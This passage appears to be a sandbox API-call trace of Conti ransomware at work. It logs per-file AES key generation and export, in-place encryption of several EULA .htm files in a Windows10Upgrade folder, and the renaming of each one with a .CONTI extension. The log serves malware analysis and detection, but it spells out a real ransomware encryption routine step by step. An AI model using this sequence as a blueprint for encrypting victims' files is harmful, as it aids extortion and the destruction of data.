	[0151.412] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=76091) returned 1
	[0151.412] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1293b
	[0151.412] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.412] SetEndOfFile (hFile=0x498) returned 1
	[0151.413] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.413] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.413] WriteFile (in: hFile=0x498, lpBuffer=0x65d997c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d997c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0151.415] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.415] ReadFile (in: hFile=0x498, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1293b, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1293b, lpOverlapped=0x0) returned 1
	[0151.416] CryptEncrypt (in: hKey=0x17dea90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1293b, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x12940) returned 1
	[0151.416] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.416] WriteFile (in: hFile=0x498, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x12940, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x12940, lpOverlapped=0x0) returned 1
	[0151.417] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.417] WriteFile (in: hFile=0x498, lpBuffer=0x65d9970*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d9970*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0151.417] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.417] CloseHandle (hObject=0x498) returned 1
	[0151.417] GetProcessHeap () returned 0x1720000
	[0151.417] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.417] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm"
	[0151.417] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.CONTI"
	[0151.417] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm.conti")) returned 1
	[0151.418] GetProcessHeap () returned 0x1720000
	[0151.418] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.418] CryptDestroyKey (hKey=0x17dea90) returned 1
	[0151.418] GetProcessHeap () returned 0x1720000
	[0151.418] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17406b8 | out: hHeap=0x1720000) returned 1
	[0151.418] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0151.418] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d8060 | out: phKey=0x65d8060*=0x17de5d0) returned 1
	[0151.418] CryptExportKey (in: hKey=0x17de5d0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8064, pdwDataLen=0x4abfcac | out: pbData=0x65d8064*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0151.419] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm")) returned 0x20
	[0151.419] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0151.419] GetLastError () returned 0x0
	[0151.419] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=83909) returned 1
	[0151.419] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x147c5
	[0151.419] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.419] SetEndOfFile (hFile=0x498) returned 1
	[0151.420] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.420] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.420] WriteFile (in: hFile=0x498, lpBuffer=0x65d8064*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d8064*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0151.421] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.422] ReadFile (in: hFile=0x498, lpBuffer=0xd540000, nNumberOfBytesToRead=0x147c5, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x147c5, lpOverlapped=0x0) returned 1
	[0151.422] CryptEncrypt (in: hKey=0x17de5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x147c5, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x147d0) returned 1
	[0151.423] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.423] WriteFile (in: hFile=0x498, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x147d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x147d0, lpOverlapped=0x0) returned 1
	[0151.423] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.423] WriteFile (in: hFile=0x498, lpBuffer=0x65d8058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d8058*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0151.423] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.423] CloseHandle (hObject=0x498) returned 1
	[0151.423] GetProcessHeap () returned 0x1720000
	[0151.423] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.423] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm"
	[0151.423] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.CONTI"
	[0151.423] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm.conti")) returned 1
	[0151.424] GetProcessHeap () returned 0x1720000
	[0151.424] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.424] CryptDestroyKey (hKey=0x17de5d0) returned 1
	[0151.424] GetProcessHeap () returned 0x1720000
	[0151.424] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740550 | out: hHeap=0x1720000) returned 1
	[0151.424] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0151.424] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d82a8 | out: phKey=0x65d82a8*=0x17de810) returned 1
	[0151.424] CryptExportKey (in: hKey=0x17de810, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d82ac, pdwDataLen=0x4abfcac | out: pbData=0x65d82ac*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0151.425] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm")) returned 0x20
	[0151.425] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0151.425] GetLastError () returned 0x0
	[0151.425] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=67188) returned 1
	[0151.425] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10674
	[0151.425] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.426] SetEndOfFile (hFile=0x498) returned 1
	[0151.426] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.426] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.426] WriteFile (in: hFile=0x498, lpBuffer=0x65d82ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d82ac*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0151.428] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.428] ReadFile (in: hFile=0x498, lpBuffer=0xd540000, nNumberOfBytesToRead=0x10674, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x10674, lpOverlapped=0x0) returned 1
	[0151.428] CryptEncrypt (in: hKey=0x17de810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x10674, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x10680) returned 1
	[0151.428] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.428] WriteFile (in: hFile=0x498, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x10680, lpOverlapped=0x0) returned 1
	[0151.429] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.429] WriteFile (in: hFile=0x498, lpBuffer=0x65d82a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d82a0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0151.429] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.429] CloseHandle (hObject=0x498) returned 1
	[0151.429] GetProcessHeap () returned 0x1720000
	[0151.429] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.429] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm"
	[0151.429] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.CONTI"
	[0151.429] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm.conti")) returned 1
	[0151.430] GetProcessHeap () returned 0x1720000
	[0151.430] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.430] CryptDestroyKey (hKey=0x17de810) returned 1
	[0151.430] GetProcessHeap () returned 0x1720000
	[0151.430] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740640 | out: hHeap=0x1720000) returned 1
	[0151.430] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0151.430] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d84f0 | out: phKey=0x65d84f0*=0x17de490) returned 1
	[0151.430] CryptExportKey (in: hKey=0x17de490, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d84f4, pdwDataLen=0x4abfcac | out: pbData=0x65d84f4*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0151.431] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm")) returned 0x20
	[0151.431] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0151.431] GetLastError () returned 0x0
	[0151.432] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=67224) returned 1
	[0151.432] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10698
	[0151.432] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.432] SetEndOfFile (hFile=0x498) returned 1
	[0151.432] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.432] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.432] WriteFile (in: hFile=0x498, lpBuffer=0x65d84f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d84f4*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0151.434] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.434] ReadFile (in: hFile=0x498, lpBuffer=0xd540000, nNumberOfBytesToRead=0x10698, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x10698, lpOverlapped=0x0) returned 1
	[0151.434] CryptEncrypt (in: hKey=0x17de490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x10698, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x106a0) returned 1
	[0151.434] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.434] WriteFile (in: hFile=0x498, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x106a0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x106a0, lpOverlapped=0x0) returned 1
	[0151.435] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.435] WriteFile (in: hFile=0x498, lpBuffer=0x65d84e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d84e8*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0151.435] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.435] CloseHandle (hObject=0x498) returned 1
	[0151.435] GetProcessHeap () returned 0x1720000
	[0151.435] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.435] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm"
	[0151.435] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.CONTI"
	[0151.435] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm.conti")) returned 1
	[0151.435] GetProcessHeap () returned 0x1720000
	[0151.435] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.436] CryptDestroyKey (hKey=0x17de490) returned 1
	[0151.436] GetProcessHeap () returned 0x1720000
	[0151.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a00 | out: hHeap=0x1720000) returned 1
	[0151.436] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0151.436] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d8738 | out: phKey=0x65d8738*=0x17de6d0) returned 1
	[0151.436] CryptExportKey (in: hKey=0x17de6d0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d873c, pdwDataLen=0x4abfcac | out: pbData=0x65d873c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0151.436] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm")) returned 0x20
	[0151.437] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0151.437] GetLastError () returned 0x0
	[0151.437] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=81812) returned 1
	[0151.437] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13f94
	[0151.437] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.437] SetEndOfFile (hFile=0x498) returned 1
	[0151.437] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.437] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.437] WriteFile (in: hFile=0x498, lpBuffer=0x65d873c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d873c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0151.439] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.439] ReadFile (in: hFile=0x498, lpBuffer=0xd540000, nNumberOfBytesToRead=0x13f94, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x13f94, lpOverlapped=0x0) returned 1
	[0151.439] CryptEncrypt (in: hKey=0x17de6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x13f94, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x13fa0) returned 1
	[0151.440] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.440] WriteFile (in: hFile=0x498, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x13fa0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x13fa0, lpOverlapped=0x0) returned 1
	[0151.440] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.440] WriteFile (in: hFile=0x498, lpBuffer=0x65d8730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d8730*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0151.440] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.440] CloseHandle (hObject=0x498) returned 1
	[0151.440] GetProcessHeap () returned 0x1720000
	[0151.440] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.440] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm"
	[0151.440] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.CONTI"
